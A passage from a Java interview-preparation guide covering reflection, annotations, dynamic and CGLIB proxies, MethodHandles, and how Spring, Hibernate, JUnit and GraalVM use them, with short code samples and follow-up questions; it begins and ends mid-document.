- `Class.newInstance()` is deprecated since Java 9 because it propagates checked exceptions unchecked.

FOLLOW-UP TRAPS

- **What exception wraps errors thrown by the target method?** `InvocationTargetException`; use `getCause()`.
- **What do you pass as target for a static method?** `null`.

#constructor #invoke

Q17 How do you access and modify fields reflectively? BASIC

`Field f = cls.getDeclaredField("name"); f.setAccessible(true); f.get(obj); f.set(obj, value);`. Without `setAccessible(true)`, access to a private field throws `IllegalAccessException`.

- `getInt` / `setInt` variants avoid boxing.
- Static fields take `null` as the instance.
- `static final` fields cannot be set (throws), instance `final` fields can be set after `setAccessible(true)` but the JIT may have inlined them.

FOLLOW-UP TRAPS

- **Can you change a `static final` constant via reflection?** Not in modern JDKs; also compile-time constants are inlined into callers anyway.
- **Can you set a `final` field of a record or a hidden class?** No, `IllegalAccessException` for records and hidden classes even with `setAccessible`.

#field #setAccessible

Q18 What does setAccessible do and how did Java 9 modules change it? ADVANCED

`setAccessible(true)` suppresses Java access checks for that reflective object. Since Java 9, it also requires that the target package be **open** to the caller's module, otherwise it throws `InaccessibleObjectException`.

- Packages are open if declared with `opens pkg` or `opens pkg to module` in `module-info.java`, or if the module is `open module`.
- JDK internals: Java 9-15 default `--illegal-access=permit` warned; Java 16 default deny; Java 17 removed the flag. Use `--add-opens java.base/java.lang=ALL-UNNAMED` as workaround.
- `exports` allows compile-time public access but not deep reflection on private members.

FOLLOW-UP TRAPS

- **Does `exports` allow `setAccessible` on private fields?** No, you need `opens`.
- **How do frameworks like Hibernate work on the module path?** The application module must `opens` its entity packages to the framework module.

#setaccessible #jpms #modules

Q19 What is the cost of reflection and why is it slower? INTERMEDIATE

Reflective calls skip static linking and JIT inlining opportunities, box primitives, allocate varargs arrays, check access and wrap exceptions. Typically 2-10x slower than a direct call in a warm hot loop, but lookup (`getMethod`) is the larger cost.

- Cache `Method` / `Field` objects; `getDeclaredMethods` copies arrays each call (although a root cache exists).
- JDK 18+ (JEP 416) reimplemented core reflection on method handles; old native accessor "inflation" after 15 calls is gone.
- Microbenchmark with JMH, not with `System.nanoTime` loops.

FOLLOW-UP TRAPS

- **Is `setAccessible(true)` a speedup?** It skips access checks, a small gain, but not a big one.
- **Is reflection always the bottleneck in Spring startup?** Mostly classpath scanning and bean creation; hence AOT in Spring 6.

#reflection #performance

Q20 What are MethodHandles and how do they compare with reflection? ADVANCED

`java.lang.invoke.MethodHandle` is a typed, directly executable reference to a method, field or constructor. Access is checked once at lookup (using the caller's `Lookup`), and after that the JIT can inline it when the handle is a `static final` constant.

```
MethodHandles.Lookup lk = MethodHandles.lookup();
MethodHandle h = lk.findVirtual(String.class, "length",
        MethodType.methodType(int.class));
int n = (int) h.invokeExact("hello"); // 5
```

- `invokeExact` needs the exact call-site signature, otherwise `WrongMethodTypeException`; `invoke` adapts.
- Handles power lambdas (`LambdaMetafactory`), string concat and `invokedynamic`.

FOLLOW-UP TRAPS

- **Is a MethodHandle in a non-static-final field fast?** No; the JIT cannot treat it as a constant, so it behaves like a slow indirection.
- **Does a Lookup carry access rights?** Yes, `MethodHandles.lookup()` has the caller's rights; use `privateLookupIn` to reach private members of an open module.

#methodhandle #invokedynamic #performance

Q21 What is VarHandle and why was it introduced? ADVANCED

`VarHandle` (Java 9) is a typed reference to a variable (field, array element) with fine-grained memory-order access modes (plain, opaque, acquire/release, volatile) and atomic operations like `compareAndSet`. It replaces most `sun.misc.Unsafe` usage.

- Obtained with `MethodHandles.lookup().findVarHandle(Cls.class, "field", int.class)`.
- Used in `ConcurrentHashMap`, `AtomicReference`, and lock-free structures.

FOLLOW-UP TRAPS

- **Is VarHandle part of reflection?** It lives in `java.lang.invoke`, uses the same access-check model as method handles.
- **Does VarHandle `compareAndSet` work on a non-volatile field?** Yes, it provides the atomicity and ordering itself.

#varhandle #java9 #unsafe

Q22 What is a dynamic proxy in the JDK? BASIC

`java.lang.reflect.Proxy.newProxyInstance(loader, interfaces, handler)` generates a class at runtime implementing the given interfaces; every call is routed to `InvocationHandler.invoke(proxy, method, args)`.

```
interface Greeter { String hi(String n); }
Greeter g = (Greeter) Proxy.newProxyInstance(
    Greeter.class.getClassLoader(), new Class<?>[]{Greeter.class},
    (p, m, a) -> "proxied " + m.getName() + " " + a[0]);
System.out.println(g.hi("x")); // proxied hi x
```

FOLLOW-UP TRAPS

- **Can the JDK proxy a concrete class?** No, interfaces only.
- **Does `hashCode/equals/toString` on the proxy go through the handler?** Yes, those three `Object` methods are dispatched to the handler too.

#proxy #jdk-proxy

Q23 Compare JDK dynamic proxies and CGLIB proxies. INTERMEDIATE

JDK proxies implement interfaces and delegate to an `InvocationHandler`. CGLIB (and ByteBuddy) generate a **subclass** of the target class at runtime and override its methods, so they work without interfaces.

- CGLIB cannot proxy `final` classes or override `final` / `private` / `static` methods.
- Needs an accessible (or Objenesis-bypassed) constructor; Spring uses Objenesis so no default constructor is needed.
- Spring Boot 2.0+ defaults to CGLIB (`proxyTargetClass=true`) even if interfaces exist.
- Spring 6 repackages CGLIB inside `spring-core`; the original library is unmaintained.

FOLLOW-UP TRAPS

- **Why does a `final` method skip the aspect?** A subclass cannot override it, so calls go directly to the target logic.
- **Can you inject a JDK-proxied bean by its concrete class?** No, the proxy is not an instance of the concrete class; this gives `BeanNotOfRequiredTypeException`.

#proxy #cglib #spring-aop

Q24 How do ByteBuddy, Javassist and ASM relate to proxies? ADVANCED

They are bytecode libraries. ASM is a low-level visitor API; Javassist offers source-like editing; ByteBuddy has a fluent, type-safe API. Hibernate (proxies, enhancement), Mockito, and Spring use them to generate classes at runtime or build time.

- Java 8 lambdas themselves are spun by `LambdaMetafactory` / `invokedynamic`, not by these tools.
- Java agents (`-javaagent`) can transform classes on load via `Instrumentation`.
- Newer JDKs need updated ASM to read new class file versions.

FOLLOW-UP TRAPS

- **Why does a new JDK sometimes break Mockito/Spring?** The embedded ASM/ByteBuddy cannot parse the newer class file version until upgraded.
- **Does Java have a standard bytecode API?** The ClassFile API is preview in 22/23 and final in 24 (JEP 484).

#bytecode #bytebuddy #asm

Q25 How does generic type information survive at runtime? INTERMEDIATE

Type erasure removes type arguments from instances (`List<String>` and `List<Integer>` share one class), but signatures of **declarations** are kept in the `Signature` attribute: field types, method parameter/return types, and superclass/interface declarations.

```
class Repo extends Base<User> {}
Type t = Repo.class.getGenericSuperclass();
Type arg = ((ParameterizedType) t).getActualTypeArguments()[0];
System.out.println(arg); // class User
```

- `Field.getGenericType()`, `Method.getGenericReturnType()` give `ParameterizedType`.
- Local variables and `new ArrayList<String>()` instance type arguments are not retrievable.

FOLLOW-UP TRAPS

- **Can I find `T` from `new ArrayList<String>().getClass()`?** No, it is `ArrayList` with `TypeVariable E`.
- **Why do lambdas lose the generic type?** Lambda classes have no generic superclass signature.

#generics #type-erasure #reflection

Q26 What is the super type token pattern (TypeToken, TypeReference)? INTERMEDIATE

Create an anonymous subclass of a generic class so the actual type argument is recorded in its superclass signature, then read it with `getGenericSuperclass()`. Gson's `TypeToken`, Jackson's `TypeReference` and Spring's `ParameterizedTypeReference` use this trick.

```
abstract class Token<T> {
    final Type type = ((ParameterizedType)
        getClass().getGenericSuperclass()).getActualTypeArguments()[0];
}
Type t = new Token<List<String>>() {}.type;
System.out.println(t); // java.util.List<java.lang.String>
```

- The braces `{}` are essential; without them the subclass does not exist.

FOLLOW-UP TRAPS

- **What if you forget `{}`?** There is no anonymous subclass, so you get a raw `Token` and `ClassCastException` (the generic superclass is `Object`).
- **Why can't I do `objectMapper.readValue(json, List<User>.class)`?** `List<User>.class` is illegal; without a `TypeReference` you get `List<LinkedHashMap>`.

#typetoken #generics #jackson

Q27 How does Spring use reflection and annotations to build the context? INTERMEDIATE

Spring scans the classpath for classes carrying stereotype annotations (`@Component` and its meta-annotated children), but reads class files with ASM (`MetadataReader`) rather than loading them. It then registers `BeanDefinition`s, instantiates beans through constructors (reflection), and injects dependencies into fields, setters and constructor parameters.

- `@Service`, `@Repository`, `@Controller` are meta-annotated with `@Component`.
- `AutowiredAnnotationBeanPostProcessor` handles `@Autowired` / `@Value` / `@Inject`.

- `@Configuration` classes are CGLIB-subclassed so `@Bean` methods return singletons.

FOLLOW-UP TRAPS

- **Does component scanning load every class?** No, ASM metadata reading avoids loading and initializing them.
- **Why is `@Configuration` proxied but `@Component` with `@Bean` methods ("lite mode") not?** Lite mode does not intercept inter-bean method calls, so `@Bean` calls create new instances.

#spring #component-scan #reflection

Q28 What are merged or composed annotations in Spring? INTERMEDIATE

Spring treats an annotation placed on another annotation as a meta-annotation and can synthesize attribute overrides with `@AliasFor`. This lets you build custom stereotypes like `@RestController = @Controller + @ResponseBody`.

```
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
@Service
@Transactional(readOnly = true)
public @interface ReadService {}
```

- JDK reflection cannot read `@Service` through `@ReadService`; Spring's `MergedAnnotations` can.

FOLLOW-UP TRAPS

- **Does `clazz.isAnnotationPresent(Service.class)` return true for `@ReadService`?** No, only Spring's utilities see meta-annotations.
- **Can `@AliasFor` link attributes within one annotation?** Yes, e.g. `value` and `path` in `@RequestMapping`.

#spring #meta-annotation #composed

Q29 How do @Transactional and other Spring AOP annotations work? INTERMEDIATE

A `BeanPostProcessor` (`AbstractAutoProxyCreator`) wraps beans that match an advisor into a JDK or CGLIB proxy. The proxy's interceptor (`TransactionInterceptor`) reads `@Transactional` via reflection on the target method, begins a transaction, calls the target, then commits or rolls back.

- Only calls going through the proxy are advised; `this.method()` self-invocation bypasses it.
- By default only public methods (for proxy-based AOP) and `RuntimeException`/`Error` trigger rollback.
- AspectJ weaving avoids the proxy limits.

FOLLOW-UP TRAPS

- **Why does `@Transactional` on a private method do nothing?** Proxies cannot intercept it, and Spring ignores non-public methods in proxy mode.
- **Does a checked exception roll back?** Not by default; use `rollbackFor`.

#spring #aop #proxy #transactional

Q30 How does Hibernate/JPA use annotations and reflection? INTERMEDIATE

Hibernate reads `@Entity`, `@Id`, `@Column`, associations etc. to build mapping metadata. It instantiates entities through a no-arg constructor (any visibility, via reflection) and reads/writes state through fields or getters depending on where `@Id` is placed (access type).

- Lazy `@ManyToOne`/`getReference` return a ByteBuddy subclass proxy of the entity.
- This is why entities should be non-`final` with a no-arg constructor (at least protected).
- Bytecode enhancement can add dirty tracking and lazy attributes at build time.

FOLLOW-UP TRAPS

- **Why can't a JPA entity be a `final` class?** Hibernate cannot create a lazy-loading subclass proxy.
- **Can a Java `record` be an `@Entity`?** No, entities need mutable state and a no-arg constructor; records can be used as projections or embeddables (Hibernate 6.2+ for embeddables).

#hibernate #jpa #entity #proxy

Q31 How does JUnit use annotations and reflection? BASIC

JUnit 5 discovers classes and methods annotated with `@Test`, `@ParameterizedTest`, `@BeforeEach` etc. through reflection, creates a test-class instance (by default one per test method), and invokes the methods, resolving parameters through `ParameterResolver` extensions.

- Test methods and classes can be package-private; JUnit calls `setAccessible`.
- `@ExtendWith` registers extensions; `@Tag`, `@Disabled` and `@Nested` shape discovery.
- Composed annotations are supported (meta-annotations).

FOLLOW-UP TRAPS

- **Why does JUnit 5 create a new instance per test?** Isolation; change with `@TestInstance(Lifecycle.PER_CLASS)`.
- **Can `@BeforeAll` methods be non-static?** Only with `PER_CLASS` lifecycle.

#junit #testing

Q32 How does Spring's @Autowired field injection actually happen? INTERMEDIATE

After instantiation, `AutowiredAnnotationBeanPostProcessor` inspects the class (and superclasses) for `@Autowired` fields and methods, resolves each dependency from the container, then calls `field.setAccessible(true)` and `field.set(bean, dep)`.

- No constructor or setter participates, so the object can exist in an invalid state when created outside Spring.
- Fields cannot be `final`.
- Constructor injection is preferred: immutability, explicit dependencies, easy plain-Java tests.

FOLLOW-UP TRAPS

- **Is the injection order field-then-constructor?** Constructor first (bean creation), then field/setter injection.
- **Does `@Autowired` on a field work in a class created with `new`?** No, only for container-managed beans.

#spring #di #field-injection

Q33 What does Class.forName do and how does it differ from ClassLoader.loadClass? INTERMEDIATE

`Class.forName(name)` loads, links and **initializes** the class using the caller's classloader, running static initializers. `ClassLoader.loadClass(name)` only loads it; initialization is deferred until first active use.

- `Class.forName(name, false, loader)` loads without initialization.
- Old JDBC code used `Class.forName("com.mysql.Driver")` to trigger driver registration in a static block; with `ServiceLoader` (JDBC 4) it is no longer needed.

FOLLOW-UP TRAPS

- **Which classloader does `Class.forName` use?** The defining loader of the calling class, which matters in web containers.
- **What does `Thread.getContextClassLoader()` solve?** It lets framework (parent-loaded) code load app classes from the child loader.

#classloader #initialization

Q34 What is ServiceLoader and how does it relate to reflection and annotations? INTERMEDIATE

`ServiceLoader` discovers implementations of an interface listed in `META-INF/services/<fqcn>` (or `provides ... with` in `module-info`) and instantiates them reflectively. It is the standard plugin mechanism and the usual target output of an annotation processor like AutoService.

- Instantiation is lazy and iterates providers.
- Providers need a public no-arg constructor or a public static `provider()` method (modules).

> **FOLLOW-UP TRAPS**
> - **Is `ServiceLoader` thread-safe?** No, it is not; do not share an instance between threads.
> - **Who generates the `META-INF/services` file with `@AutoService`?** An annotation processor at compile time.

#serviceloader #spi

Q35 How do records and enums interact with reflection? INTERMEDIATE

Records expose `Class.isRecord()` and `getRecordComponents()` giving name, type, generic type, accessor and annotations of each component. Enum constants are available via `getEnumConstants()`, and enums cannot be instantiated reflectively (`newInstance` throws `IllegalArgumentException`).

- Record fields are `private final`; reflection `Field.set` fails even with `setAccessible`.
- Annotations on a record component propagate to field, accessor, constructor parameter and/or record component depending on the annotation's `@Target`.

> **FOLLOW-UP TRAPS**
> - **Can you create an enum instance by reflection?** No, `Cannot reflectively create enum objects`.
> - **Does `@NotNull` on a record component validate the field?** Only if its `@Target` includes `FIELD` / `METHOD` etc. as the framework needs; Bean Validation's targets cover them.

#records #enums #reflection

Q36 How does serialization relate to reflection, and what are the security concerns? ADVANCED

Java deserialization (`ObjectInputStream`) reconstructs objects and invokes `readObject` hooks reflectively without calling constructors of serializable classes. Gadget chains in libraries can reach `Method.invoke` and give remote code execution.

- Avoid native serialization of untrusted input; use `ObjectInputFilter` (JEP 290, JEP 415 context filters) with allow-lists.
- Jackson default typing (`enableDefaultTyping`) has similar polymorphic gadget risks; use `PolymorphicTypeValidator`.
- Prefer JSON/Protobuf with explicit schemas.

> **FOLLOW-UP TRAPS**
> - **Does a `transient` field guard from deserialization attacks?** No, it just skips that field; the hooks still run.
> - **Is it safe to use `Class.forName(userInput)`?** No, it lets attackers trigger static initializers of arbitrary classes.

#security #serialization #reflection

Q37 What security controls exist around reflection? ADVANCED

Historically the `SecurityManager` checked `ReflectPermission("suppressAccessChecks")` before `setAccessible`. The SecurityManager is deprecated for removal (Java 17) and effectively disabled in Java 24

(JEP 486). Today, the real controls are module encapsulation (`opens`), strong encapsulation of JDK internals, and review of reflective sinks.

- Treat any `Class.forName`, `Method.invoke` or `getMethod` driven by user input as a vulnerability (reflection injection).
- Use allow-lists mapping names to handlers instead of reflective dispatch.
- Sealed classes and `final` prevent unexpected subclassing but not reflection.

FOLLOW-UP TRAPS

- **Can `private` be relied on as a security boundary?** No, within a single module/classpath reflection bypasses it.
- **Does strong encapsulation stop code on the classpath?** The classpath is the unnamed module; it can reflect into other unnamed code but not into closed JDK packages.

#security #securitymanager #jpms

Q38 What is Unsafe and what replaced it?

ADVANCED

`sun.misc.Unsafe` gives raw memory access, CAS and uninitialized object allocation. It is not an official API and is being phased out (JEP 471/498 deprecate its memory-access methods for removal).

- `VarHandle` replaces field CAS and ordered access.
- `MemorySegment` (Foreign Function & Memory API, final in Java 22) replaces off-heap access.
- Serialization libraries used `Unsafe.allocateInstance` to skip constructors; Spring/Objenesis do this too.

FOLLOW-UP TRAPS

- **Is Unsafe blocked by the module system?** `sun.misc` is exported by `jdk.unsupported`, so it remains reachable, with warnings on newer releases.
- **Can you instantiate a class without any constructor call?** Yes through Unsafe/Objenesis or deserialization tricks, but invariants are bypassed.

#unsafe #varhandle #ffm

Q39 How does GraalVM native image handle reflection?

ADVANCED

Native image performs closed-world static analysis at build time; code reachable only through reflection is invisible and removed unless declared. You must supply configuration listing classes, methods and fields that need reflective access.

- Config lives in `META-INF/native-image/<group>/<artifact>/reachability-metadata.json` (older: `reflect-config.json`, `proxy-config.json`, `resource-config.json`, `serialization-config.json`, `jni-config.json`).
- Generate with the tracing agent: `java -agentlib:native-image-agent=config-output-dir=... -jar app.jar`.
- Spring uses `@RegisterReflectionForBinding`, `@ImportRuntimeHints` and AOT processing; Quarkus uses `@RegisterForReflection`.
- The GraalVM Reachability Metadata Repository supplies configs for common libraries.

FOLLOW-UP TRAPS

- **Why does Jackson fail only in native mode?** Reflective access to DTO constructors/getters was not registered, so serialization misses or throws.
- **Can dynamic classloading and `Proxy` work?** Proxies need declared interface lists at build time; arbitrary runtime class loading and bytecode generation (CGLIB) are unsupported.

#graalvm #native-image #aot

Q40 How does Spring AOT reduce reflection?

ADVANCED

Spring 6 / Boot 3 can run an AOT phase at build time that evaluates conditions and generates Java source for bean definitions and registration code, plus runtime hints for the remaining reflection, proxies and resources. This enables native image and faster JVM startup.

- Profiles and `@Conditional` outcomes are fixed at build time.
- Hints come from `RuntimeHintsRegistrar`, `@RegisterReflectionForBinding`, and built-in contributors.
- Proxies of configuration classes are generated at build time, not at runtime.

FOLLOW-UP TRAPS

- **Can I change active profiles at native-image runtime?** Bean conditions were already decided during AOT; changing profiles later does not re-evaluate them.
- **Is reflection gone entirely?** No, constructor and field access for remaining cases still goes through hints.

#spring #aot #native-image

Q41 What are the differences between getAnnotation on a Class and on a Method for inheritance?

INTERMEDIATE

Class-level lookup honours `@Inherited` through superclasses. Method-level lookup never inherits: if a subclass overrides `save()`, `getMethod("save").getAnnotation(...)` shows only annotations declared on the overriding method.

- Frameworks reimplement search: Spring's `AnnotationUtils.findAnnotation(method, type)` checks superclasses, interfaces, and bridge methods.
- Parameter annotations are likewise not inherited.

FOLLOW-UP TRAPS

- **Why does my `@Transactional` on the interface method sometimes work and sometimes not?** Depends on proxy type and Spring version; CGLIB proxies with class-based lookup historically ignored interface annotations, now Spring searches interfaces too.
- **Are annotations on an abstract class's method seen on a concrete override?** Not by plain reflection.

#annotations #inheritance #reflection

Q42 What are bridge and synthetic methods, and why do they matter for reflection?

ADVANCED

For generics and covariant returns, the compiler creates synthetic **bridge** methods with the erased signature that delegate to the real method. Reflection (`getDeclaredMethods`) shows both.

```
class Box implements Comparable<Box> {
    public int compareTo(Box o) { return 0; }
    // compiler adds: public int compareTo(Object o) { return compareTo((Box) o); }
}
```

- Frameworks scanning annotated methods must skip bridges (`Method.isBridge()`) or they find duplicates.
- Annotations were not copied to bridge methods before Java 8 (javac 8 copies them), a known source of bugs.

FOLLOW-UP TRAPS

- **Why would a scanner call a handler twice?** It matched both the real method and its bridge.
- **Is a lambda body a synthetic method?** Yes, `lambda$name$n` is private static synthetic.

#bridge #synthetic #generics

Q43 How do parameter names work with reflection? INTERMEDIATE

By default `javac` does not retain parameter names, so `Parameter.getName()` returns `arg0`, `arg1`. Compile with `-parameters` to store them (`Parameter.isNamePresent()` becomes true). Spring Boot's Maven/Gradle plugins enable this flag by default.

- Debug info (`-g`) stores local variable names, which Spring's `LocalVariableTableParameterNameDiscoverer` used; removed in Spring 6.1.
- Record components always keep names.

FOLLOW-UP TRAPS

- **Why does `@RequestParam` without a name break after upgrading to Spring 6.1?** Names now require `-parameters`; the debug-info fallback is gone.
- **Do `@PathVariable` names work with plain `javac`?** Not unless `-parameters` or an explicit name is given.

#parameters #compiler-flag

Q44 What is the difference between Class.getName, getSimpleName, getCanonicalName and getTypeName? BASIC

For a nested class `Outer.Inner` in package `p`: `getName()` is `p.Outer$Inner`, `getSimpleName()` is `Inner`, `getCanonicalName()` is `p.Outer.Inner`, `getTypeName()` is like `getName` except arrays print as `p.Outer$Inner[]`.

- Arrays: `int[].class.getName()` is `[I`, `String[].class.getName()` is `[Ljava.lang.String;`.
- Anonymous classes: simple name is empty, canonical name is `null`.

FOLLOW-UP TRAPS

- **Which name does `Class.forName` accept?** The binary name (`p.Outer$Inner`), not the canonical one.
- **What does `getCanonicalName` return for a lambda or anonymous class?** `null`.

#class #naming

Q45 How do you detect and call a default or private interface method reflectively? ADVANCED

A default method is found through `getMethod` and invoked normally on an implementing instance. Invoking the *default implementation* from within a JDK proxy handler needs `InvocationHandler.invokeDefault(proxy, method, args)` (Java 16+). Before, you needed `MethodHandles.privateLookupIn` hacks.

```
InvocationHandler h = (p, m, a) -> m.isDefault()
        ? InvocationHandler.invokeDefault(p, m, a) : null;
```

- This is how Spring Data repository proxies and Feign support default methods.

FOLLOW-UP TRAPS

- **Why does `method.invoke(proxy, args)` inside the handler loop forever?** It re-enters the proxy and the handler again.
- **Can `invokeDefault` call an abstract method?** No, it throws `IllegalArgumentException`.

#default-methods #methodhandle #proxy

Q46 What is the difference between annotation processing and reflection at runtime, and when to choose each? INTERMEDIATE

Annotation processing generates code at compile time (zero reflection cost, errors reported at build, native-image friendly) but needs build tooling and cannot see runtime state. Reflection is flexible and needs no build step but is slower, bypassed by obfuscation, and hostile to AOT.

- Dagger, MapStruct, Micronaut, Quarkus (build-time) prefer processing/augmentation.

- Spring historically chose runtime reflection; Spring 6 AOT narrows the gap.
- Choose generation when startup, native image or compile-time safety matters.

FOLLOW-UP TRAPS

- **Can a processor validate that a method has the right signature?** Yes, and fail the build with `Messager` errors.
- **Does build-time generation remove the need for `-parameters` or `opens`?** Largely yes, since generated code calls members directly.

#apt #reflection #trade-offs

Q47 What is an annotation's generated proxy and how do equals, hashCode and toString behave on it? ADVANCED

`AnnotationParser` creates a JDK proxy with an `AnnotationInvocationHandler` holding a map of member values. `equals` compares member values with another annotation of the same type, `hashCode` is the sum of `(127 * name.hashCode()) ^ valueHash`, and `toString` renders `@pkg.Timed(name="", warnAboveMs=500)`.

- Calling a member method is a map lookup; array members return a **clone** every call.
- Instances are cached per element, so repeated `getAnnotation` is cheap after the first parse.

FOLLOW-UP TRAPS

- **Is it safe to mutate the array returned by an annotation member?** Yes, you get a clone, the annotation is not changed.
- **Can I implement an annotation interface with my own class?** Technically yes (used to create annotation literals in CDI), but it should honour the equals/hashCode contract.

#annotations #proxy #internals

Q48 How does Bean Validation (Jakarta Validation) use annotations? INTERMEDIATE

Constraint annotations like `@NotNull`, `@Size`, `@Email` are meta-annotated with `@Constraint(validatedBy = X.class)`. The validator (Hibernate Validator) reads them reflectively from fields, getters, parameters and type-use positions, instantiates the `ConstraintValidator<A, T>` and calls `isValid`.

- Required members: `message`, `groups`, `payload`.
- Cascading uses `@Valid`.
- Spring triggers it via `@Valid` / `@Validated` on controller arguments or via a method-validation AOP proxy.

FOLLOW-UP TRAPS

- **Is `null` valid for `@Size`?** Yes, `null` is considered valid; combine with `@NotNull`.
- **Why does `@Valid` on a nested field not cascade without the annotation?** Cascading is opt-in per property.

#validation #constraint #jakarta

Q49 How do you load and inspect classes without initializing them, for example to scan a package? ADVANCED

The JDK has no package-listing API; libraries (Spring `ClassPathScanningCandidateComponentProvider`, ClassGraph, Reflections) list `.class` resources from directories and jars and read annotations by parsing bytecode (ASM) so classes are not loaded or initialized.

- Loading everything with `Class.forName` triggers static initializers, class loading memory, and possibly `NoClassDefFoundError`.
- Scanning is a major startup cost; narrow base packages.

FOLLOW-UP TRAPS

- **Why not `ClassLoader.getResources("com/foo")` and list files?** It fails inside jars and layered or nested jar formats without extra handling.
- **Does the module path offer a scan?** `ModuleLayer` / `ModuleReference.open().list()` lists resources of a module.

#classpath-scanning #asm #classgraph

Q50 What are hidden classes and how do they affect reflection? ADVANCED

Hidden classes (Java 15, JEP 371) are classes defined with `Lookup.defineHiddenClass` that cannot be linked to by name from other classes and are unloadable independently. Lambdas and `invokedynamic` infrastructure use them.

- `Class.forName` cannot find them; `getName` has a `/0x...` suffix.
- Their fields cannot be modified through `Field.set` even after `setAccessible`.
- Frameworks should use them instead of `ClassLoader.defineClass` or `Unsafe.defineAnonymousClass` (removed in 17).

FOLLOW-UP TRAPS

- **Is a lambda's class named like `Foo$$Lambda$14`?** In modern JDKs it is a hidden class `Foo$$Lambda/0x...`.
- **Can a JDK proxy's class be hidden?** JDK 15+ may define proxies for non-exported interfaces in dynamic modules, but the class is still normal, not hidden.

#hidden-classes #lookup #java15

Q51 What does Method.invoke do with varargs, boxing and exceptions? INTERMEDIATE

`invoke(Object target, Object... args)` boxes primitive arguments, unboxes primitive returns to wrappers, and widens primitives automatically. Exceptions thrown by the target are wrapped in `InvocationTargetException`; wrong arg count or type gives `IllegalArgumentException`.

- For a target method that itself takes `Object...` or an array, pass `new Object[]{ new String[]{"a"} }` to avoid ambiguity.
- A `null` target for an instance method gives `NullPointerException`.
- Unwrap with `e.getCause()` and rethrow, or the real error is hidden.

FOLLOW-UP TRAPS

- **`m.invoke(obj, new String[]{"a","b"})` for `foo(String...)`: what happens?** The array spreads as two arguments, causing `IllegalArgumentException: wrong number of arguments`; wrap it in `new Object[]{array}`.
- **Does `invoke` honour polymorphism?** Yes, virtual dispatch on the target instance, like a normal call.

#invoke #varargs #exceptions

Q52 How do annotations interact with inheritance in interfaces vs. proxies when using Spring Data or Feign? INTERMEDIATE

Declarative clients (Spring Data repositories, Feign, Retrofit, MyBatis mappers) are interfaces with no implementation; the framework creates a JDK proxy and its handler reads annotations from the interface methods (`@Query`, `@GetMapping`, `@Select`) to decide behaviour.

- Method name parsing (`findByEmailAndStatus`) in Spring Data is also reflection on method names.
- Each interface method's metadata is parsed once at startup and cached.

FOLLOW-UP TRAPS

- **Why is no implementation class needed?** The proxy's handler is the implementation.
- **What happens with a typo in a derived query name?** Startup fails with `PropertyReferenceException`, not at first call.

#proxy #spring-data #interface-annotations

Scenarios

Q53 Annotation missing at runtime: what is the output? BASIC

Expected output is `null`, because the default retention is `CLASS`.

```
@Target(ElementType.METHOD)
@interface Audit {}

class S { @Audit void run() {} }

System.out.println(S.class.getDeclaredMethod("run").getAnnotation(Audit.class));
// null
```

Fix by adding `@Retention(RetentionPolicy.RUNTIME)`.

FOLLOW-UP TRAPS

- **Does the annotation exist in the `.class` file?** Yes, as `RuntimeInvisibleAnnotations`, visible to ASM/agents but not reflection.
- **Would `isAnnotationPresent` behave differently?** No, it also returns false.

#retention #debugging

Q54 Build an @Timed logging aspect with a JDK dynamic proxy. INTERMEDIATE

Wrap the target in a proxy; the handler checks the annotation on the **target's** method (the interface `Method` passed to the handler does not carry implementation annotations).

```
@Retention(RetentionPolicy.RUNTIME) @interface Timed {}
interface Svc { void work(); }
class SvcImpl implements Svc { @Timed public void work() {} }

static <T> T timed(T target, Class<T> iface) {
    return iface.cast(Proxy.newProxyInstance(iface.getClassLoader(),
        new Class<?>[]{iface}, (p, m, a) -> {
            Method impl = target.getClass().getMethod(m.getName(), m.getParameterTypes());
            if (!impl.isAnnotationPresent(Timed.class)) return m.invoke(target, a);
            long t = System.nanoTime();
            try { return m.invoke(target, a); }
            catch (InvocationTargetException e) { throw e.getCause(); }
            finally { System.out.println(m.getName() + " " + (System.nanoTime() - t)); }
        }));
}
```

FOLLOW-UP TRAPS

- **Why look at `target.getClass()` and not `m`?** `m` is the interface method; the annotation sits on the implementation.
- **Why unwrap `InvocationTargetException`?** Otherwise callers get an `UndeclaredThrowableException` for checked exceptions.

#proxy #annotations #aop

Q55 Write a custom validation annotation @NotBlankIfActive using Jakarta Validation. INTERMEDIATE

Define the annotation with `@Constraint`, then implement `ConstraintValidator`. For cross-field rules, annotate the **class** and read two properties.

```
@Documented @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = ActiveNameValidator.class)
public @interface NotBlankIfActive {
    String message() default "name required when active";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

public class ActiveNameValidator
        implements ConstraintValidator<NotBlankIfActive, UserForm> {
    public boolean isValid(UserForm f, ConstraintValidatorContext c) {
        return !f.active() || (f.name() != null && !f.name().isBlank());
    }
}
```

FOLLOW-UP TRAPS

- **Which three members are mandatory on a constraint annotation?** `message`, `groups`, `payload`.
- **Can the validator inject Spring beans?** Yes, Spring's `SpringConstraintValidatorFactory` autowires validators.

#validation #custom-constraint

Q56 Implement a simple field validation engine with your own annotations. INTERMEDIATE

Iterate declared fields, check annotations, read values with `setAccessible`, collect errors.

```
@Retention(RetentionPolicy.RUNTIME) @Target(ElementType.FIELD)
@interface Min { int value(); }

static List<String> validate(Object o) throws IllegalAccessException {
    List<String> errs = new ArrayList<>();
    for (Field f : o.getClass().getDeclaredFields()) {
        Min m = f.getAnnotation(Min.class);
        if (m == null) continue;
        f.setAccessible(true);
        if (((Number) f.get(o)).intValue() < m.value())
            errs.add(f.getName() + " must be >= " + m.value());
    }
    return errs;
}
// class P { @Min(18) int age = 10; }  -> [age must be >= 18]
```

FOLLOW-UP TRAPS

- **Does this see superclass fields?** No, `getDeclaredFields` is per class; walk `getSuperclass()`.
- **What if the field is `null` `Integer`?** `NullPointerException` on the cast/unboxing; handle `null` explicitly.

#validation #reflection #custom

Q57 Build a mini dependency-injection container with constructor injection. ADVANCED

Register classes, pick the single constructor, resolve each parameter recursively, cache singletons, and detect cycles.

```
public class MiniContainer {
    private final Map<Class<?>, Object> singletons = new HashMap<>();
    private final Set<Class<?>> creating = new HashSet<>();

    @SuppressWarnings("unchecked")
    public <T> T get(Class<T> type) throws Exception {
        Object existing = singletons.get(type);
        if (existing != null) return (T) existing;
        if (!creating.add(type))
            throw new IllegalStateException("Cycle: " + type.getName());
        try {
            Constructor<?> c = type.getDeclaredConstructors()[0];
            Object[] args = new Object[c.getParameterCount()];
            Class<?>[] pt = c.getParameterTypes();
            for (int i = 0; i < args.length; i++) args[i] = get(pt[i]);
            c.setAccessible(true);
            Object o = c.newInstance(args);
            singletons.put(type, o);
            return (T) o;
